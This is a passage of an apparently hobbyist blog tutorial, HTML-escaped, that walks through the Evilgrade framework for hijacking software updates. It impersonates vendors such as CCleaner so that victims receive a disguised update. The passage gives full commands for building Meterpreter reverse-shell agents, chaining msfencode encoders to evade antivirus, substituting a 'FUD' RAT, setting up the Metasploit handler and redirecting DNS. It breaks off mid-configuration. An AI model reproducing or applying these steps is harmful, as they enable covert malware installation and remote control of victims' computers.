&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;_ _&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; _&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (_)&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;_&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; | |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;_____&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;| ___|&amp;nbsp; | __ _ _ _| | ___ &lt;br /&gt;
&amp;nbsp;/ _ \&amp;nbsp; \&amp;nbsp; &amp;nbsp;/ / |&amp;nbsp; |/ _`&amp;nbsp; | '__/ _` |/ _` |/&amp;nbsp; &amp;nbsp;_ \ &lt;br /&gt;
|&amp;nbsp; __/\ &amp;nbsp;V /| |&amp;nbsp; | (_|&amp;nbsp; | &amp;nbsp;| &amp;nbsp;| (_|&amp;nbsp; | (_| |&amp;nbsp;&amp;nbsp;&amp;nbsp;|__/&lt;br /&gt;
&amp;nbsp;\___| \_/ |_|_|\__, |_|&amp;nbsp; \__,_|\_,_|\___| &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; __&amp;nbsp;/&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |___/ &lt;br /&gt;
-------------------------------------------&lt;br /&gt;
---------------------&amp;nbsp; &lt;a href="http://www.infobytesec.com/"&gt;http://www.infobytesec.com/&lt;/a&gt;&lt;br /&gt;
- 63 modules available.&lt;br /&gt;
evilgrade&amp;gt;....&lt;br /&gt;
Now that we have it running what next you might be asking? Let's start by seeing what all is available when we begin, start by simply typing in "help"...&lt;br /&gt;
Results...&lt;br /&gt;
evilgrade&amp;gt;help&lt;br /&gt;
Type 'help command' for more detailed help on a command.&lt;br /&gt;
&amp;nbsp; Commands:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; configure - Configure &amp;lt;module-name&amp;gt; - no help available&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; exit&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; - exits the program&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; help&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; - prints this screen, or help on 'command'&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; reload&amp;nbsp;&amp;nbsp;&amp;nbsp; - Reload to update all the modules - no help available&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; restart&amp;nbsp;&amp;nbsp; - Restart webserver - no help available&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; set&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; - Configure variables - no help available&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; show&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; - Display information of &amp;lt;object&amp;gt;.&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; start&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; - Start webserver - no help available&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; status&amp;nbsp;&amp;nbsp;&amp;nbsp; - Get webserver status - no help available&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; stop&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; - Stop webserver - no help available&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; version&amp;nbsp;&amp;nbsp; - Display framework version. - no help available&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; vhosts&amp;nbsp;&amp;nbsp;&amp;nbsp; - Show vhosts enable - no help available&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&lt;br /&gt;
We can check what modules are available to see what types of SW we can target by using the "show modules" command from the evilgrade command prompt.&lt;br /&gt;
Results...from: evilgrade&amp;gt;show modules&lt;br /&gt;
List of modules:&lt;br /&gt;
===============&lt;br /&gt;
allmynotes&lt;br /&gt;
amsn&lt;br /&gt;
appleupdate&lt;br /&gt;
apptapp&lt;br /&gt;
apt&lt;br /&gt;
atube&lt;br /&gt;
autoit3&lt;br /&gt;
bbappworld&lt;br /&gt;
blackberry&lt;br /&gt;
bsplayer&lt;br /&gt;
ccleaner&lt;br /&gt;
clamwin&lt;br /&gt;
cpan&lt;br /&gt;
cygwin&lt;br /&gt;
dap&lt;br /&gt;
divxsuite&lt;br /&gt;
express_talk&lt;br /&gt;
fcleaner&lt;br /&gt;
filezilla&lt;br /&gt;
flashget&lt;br /&gt;
flip4mac&lt;br /&gt;
freerip&lt;br /&gt;
getjar&lt;br /&gt;
gom&lt;br /&gt;
googleanalytics&lt;br /&gt;
growl&lt;br /&gt;
isopen&lt;br /&gt;
istat&lt;br /&gt;
itunes&lt;br /&gt;
jet&lt;br /&gt;
jetphoto&lt;br /&gt;
linkedin&lt;br /&gt;
miranda&lt;br /&gt;
mirc&lt;br /&gt;
nokia&lt;br /&gt;
nokiasoftware&lt;br /&gt;
notepadplus&lt;br /&gt;
openoffice&lt;br /&gt;
opera&lt;br /&gt;
orbit&lt;br /&gt;
osx&lt;br /&gt;
paintnet&lt;br /&gt;
panda_antirootkit&lt;br /&gt;
photoscape&lt;br /&gt;
quicktime&lt;br /&gt;
skype&lt;br /&gt;
sparkle&lt;br /&gt;
speedbit&lt;br /&gt;
sunbelt&lt;br /&gt;
sunjava&lt;br /&gt;
superantispyware&lt;br /&gt;
teamviewer&lt;br /&gt;
techtracker&lt;br /&gt;
trillian&lt;br /&gt;
ubertwitter&lt;br /&gt;
vidbox&lt;br /&gt;
virtualbox&lt;br /&gt;
vmware&lt;br /&gt;
winamp&lt;br /&gt;
winscp&lt;br /&gt;
winupdate&lt;br /&gt;
winzip&lt;br /&gt;
yahoomsn&lt;br /&gt;
- 63 modules available.&lt;br /&gt;
&lt;br /&gt;
As you can see there are a lot of modules available and I assure you that you can find many of these on almost any PC (lots of times more than one). Now you will need to identify which one you want to work with. Most of the demos provided by the creators of this cool tool show the "sunjava" module being used, so I thought I would use something different, you can use what you want or what you know your target will have running. Once you have made up your mind about which module(s) we will use it is time to start setting things up. We will begin by letting Evilgrade know which module we want to use, like so:&lt;br /&gt;
&lt;br /&gt;
Command: evilgrade&amp;gt;configure &amp;lt;insert module name you chose&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; EX: evilgrade&amp;gt;configure ccleaner&lt;br /&gt;
&lt;br /&gt;
You will know you are in the chosen modules configuration mode, which is noticable as the command prompt will change and now appear as follows:&lt;br /&gt;
&lt;br /&gt;
Results...from above: evilgrade&amp;gt;configure ccleaner...&lt;br /&gt;
evilgrade(ccleaner)&amp;gt;&lt;br /&gt;
&lt;br /&gt;
OK so now to check what all is configurable for a chosen module. We can do this by simpy typing "show options" at the configuration level command prompt.&lt;br /&gt;
&lt;br /&gt;
Results...&lt;br /&gt;
evilgrade(ccleaner)&amp;gt;show options&lt;br /&gt;
Display options:&lt;br /&gt;
===============&lt;br /&gt;
Name = Ccleaner&lt;br /&gt;
Version = 1.0&lt;br /&gt;
Author = ["German Rodriguez &amp;lt; grodriguez +[AT]+ infobytesec.com &amp;gt;"]&lt;br /&gt;
Description = ""&lt;br /&gt;
VirtualHost = "&lt;a href="http://www.ccleaner.com/"&gt;http://www.ccleaner.com/&lt;/a&gt;"&lt;br /&gt;
.---------------------------------------------------.&lt;br /&gt;
| Name&amp;nbsp;&amp;nbsp; | Default&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | Description&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
+--------+---------------------+-----------------+&lt;br /&gt;
| enable |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | Status&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
| agent&amp;nbsp;&amp;nbsp; | ./agent/agent.exe | Agent to inject |&lt;br /&gt;
'---------+---------------------+-------------------'&lt;br /&gt;
You can see that "VirtualHost" is set to &lt;a href="http://www.ccleaner.com/"&gt;http://www.ccleaner.com/&lt;/a&gt;, this is the virtual host the Evilgrade will impersonate once we get things running and start our MiTM attack. If you notice these have changed over time or you know of "secret" update servers you can simply edit this field to change. &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; PRO-TIP: You can edit the perl modules in the "modules" folder within &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; isr-evilgrade folder if you know what you are doing to edit the VirtualHost settings,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; but if you are not familiar with Perl then I dont suggest messing with these&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;and simply leaving as default will do for most scenarios. These can also be &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; studied to add in your own modules for other applications and some basic&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;instructions can be found within the tools documentation and README file.&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;The AGENT field is the MOST IMPORTANT field we will be working ith for this tutorial as it will be our evil agent in disguise, it is the fake update binary. We have two options for setting up our agent in disguise:&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&amp;nbsp;OPTION 1: We can set up Evilgrade to work with Metasploit and msfpayload/msfencode to dynamically create payloads on the fly&lt;/li&gt;
&lt;li&gt;&amp;nbsp;OPTION 2: We can use our own RAT or backdoor to be uploaded to our victims.&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;We can accomplish either scenario using the "set" command and defining the AGENT field, by providing a path to Metasploit's msfpayload and msfencode OR by providing path directly to your RAT or backdoor. &lt;/div&gt;&lt;div&gt;&amp;nbsp;&lt;/div&gt;&lt;div&gt;Here is overview of both methods with examples so you can more clearly understand:&lt;/div&gt;OPTION 1: let Metasploit helpout and generate payload on the fly&amp;nbsp;&lt;br /&gt;
Command: evilgrade(ccleaner)&amp;gt;set agent '["/usr/local/bin/msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=31337 X &amp;gt; &amp;lt;%OUT%&amp;gt;/tmp/agent.exe&amp;lt;%OUT%&amp;gt;"]'&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; NOTE: If you are not using BT5 just make sure the first part &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (/usr/local/bin/msfpayload) points to where the path variable is located so &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; the framework can use it, as it BT4 it is located at /usr/bin/msfpayload.&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; PRO-TIP: You can replace the above example using meterpreter reverse shell&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;with your choice of the available payloads in Metasploit (of which there are many)&lt;br /&gt;
&amp;nbsp;SUPER-PRO-TIP: If you want to avoid anti-virus from catching your agent due to Meterpreter being blasted all of the place, you can modify the above command to also encode the agent so it has a better chance of passing AV. Here is an example you can work with, note that msfencode only encodes RAW data so it needs to be RAW and then converted to binary EXE format to work (also why you cant just encrypt your standard RAT with msfencode)&lt;br /&gt;
&lt;br /&gt;
EX: evilgrade(ccleaner)&amp;gt;set agent '["/pentest/exploits/framework3/msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=31337 R | ./msfencode -e x86/shikata_ga_nai -t raw -c 10 | ./msfencode -e x86/call4_dword_xor -t raw -c 10 | ./msfencode -e x86/countdown -t exe &amp;gt; &amp;lt;%OUT%&amp;gt;/tmp/agent.exe&amp;lt;%OUT%&amp;gt;"]'&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
In this case for every required update binary or victim request we get, the framework will generate a fake update binary using our dynamic link to MSF which will load a encoded Meterpreter reverse shell.&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
OPTION 2: Using our own RAT or backdoor with hard coded path to EXE. You will simply need to place your RAT or backdoor of choice in a designated folder and then tell the framework where to find it, it is as simply as this:&lt;br /&gt;
&lt;br /&gt;
Command: evilgrade(ccleaner)&amp;gt;set agent /root/Desktop/server.exe&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;NOTE: msfecode will not be able to help you FUD your payload if it&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; is already in Binary EXE form, so make sure it is FUD to avoid any issues&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;with AVs ahead of time&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
In this case for every required update binary or victim request we get, the framework will simpoly use your designated RAT/Backdoor to create the update agent&lt;br /&gt;
&lt;br /&gt;
IMPORTANT NOTES: You will need to setup the "exploit/multi/handler" from within MSF console to monitor connections made from our Meterpreter Shell (if you are using your own RAT or Backdoor I will assume you know how to monitor for connections and successful uploads).&lt;br /&gt;
&lt;br /&gt;
From MSF Console, type the following commands: &lt;br /&gt;
&amp;nbsp;&amp;nbsp; use exploit/multi/handler &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;set payload=windows/metepreter/reverse_tcp&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;set LHOST=192.168.1.2&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;set LPORT=31337&lt;br /&gt;
&amp;nbsp;&amp;nbsp; Exploit&lt;br /&gt;
&lt;br /&gt;
Results...&lt;br /&gt;
[*] Started reverse handler on 192.168.1.2:31337 &lt;br /&gt;
[*] Starting the payload handler...&lt;br /&gt;
&lt;br /&gt;
When we are done making our configuration changes we will simply enter the "conf" command to get out of configuration mode and back to initial command prompt, or as the authors call it Global Conifuration Mode. You can repeat the above steps for other modules to have more than one setup at once. We will also want to issue the "reload" command so that the framework will update all of the modules to include the updates we made above at the configuration level (for the module ccleaner in this example). Once that is done you can issue the "show active" commands to show the active modules you have configured.&lt;br /&gt;
&lt;br /&gt;
Commands:&lt;br /&gt;
evilgrade(ccleaner)&amp;gt;conf&lt;br /&gt;
evilgrade&amp;gt;&lt;br /&gt;
evilgrade&amp;gt;reload&lt;br /&gt;
&lt;br /&gt;
OK so we have configured our modules to reference the appropriate AGENT we want to use, now it is time to place the final edits and start things up...&lt;br /&gt;
&lt;br /&gt;
From the Global Configuration Mode you will need to enter "show options" to see how Evilgrade is setup to act as DNS and Webserver as well as what ports it is working on.&lt;br /&gt;
&lt;br /&gt;
Command: evilgrade&amp;gt;show options&lt;br /&gt;
Results...&lt;br /&gt;
Display options:&lt;br /&gt;
===============&lt;br /&gt;
.-------------------------------------------------------------------------------------------------------.&lt;br /&gt;
| Name&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;| Default&amp;nbsp;&amp;nbsp; | Description&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
+------------------+-----------+---------------------------------------------------------------------+&lt;br /&gt;
| DNSEnable&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | Enable DNS Server ( handle virtual request on modules ) |&lt;br /&gt;
| DNSAnswerIp | 127.0.0.1 | Resolve VHost to ip&amp;nbsp; )&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
| DNSPort&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 53&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | Listen Name Server port&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
| debug&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;| Debug mode&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
| port&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 80&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | Webserver listening port&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&lt;br /&gt;
| sslport&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 443&amp;nbsp;&amp;nbsp; &amp;nbsp;| Webserver SSL listening port&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
'-------------------+-----------+---------------------------------------------------------------------'&lt;br /&gt;
As you can see we need to change a few things. We will need to change the "DNSAnswerIp" to point at our IP on the network, in this example 192.168.1.2.&lt;br /&gt;
&lt;br /&gt;
Command: evilgrade&amp;gt; set DNSAnswerIp 192.168.1.2&lt;br /&gt;
Confirm with: evilgrade&amp;gt;show options&lt;br /&gt;
Result: &lt;br /&gt;
Display options:&lt;br /&gt;
===============&lt;br /&gt;
.----------------------------------------------------------------------------------------------------------.&lt;br /&gt;
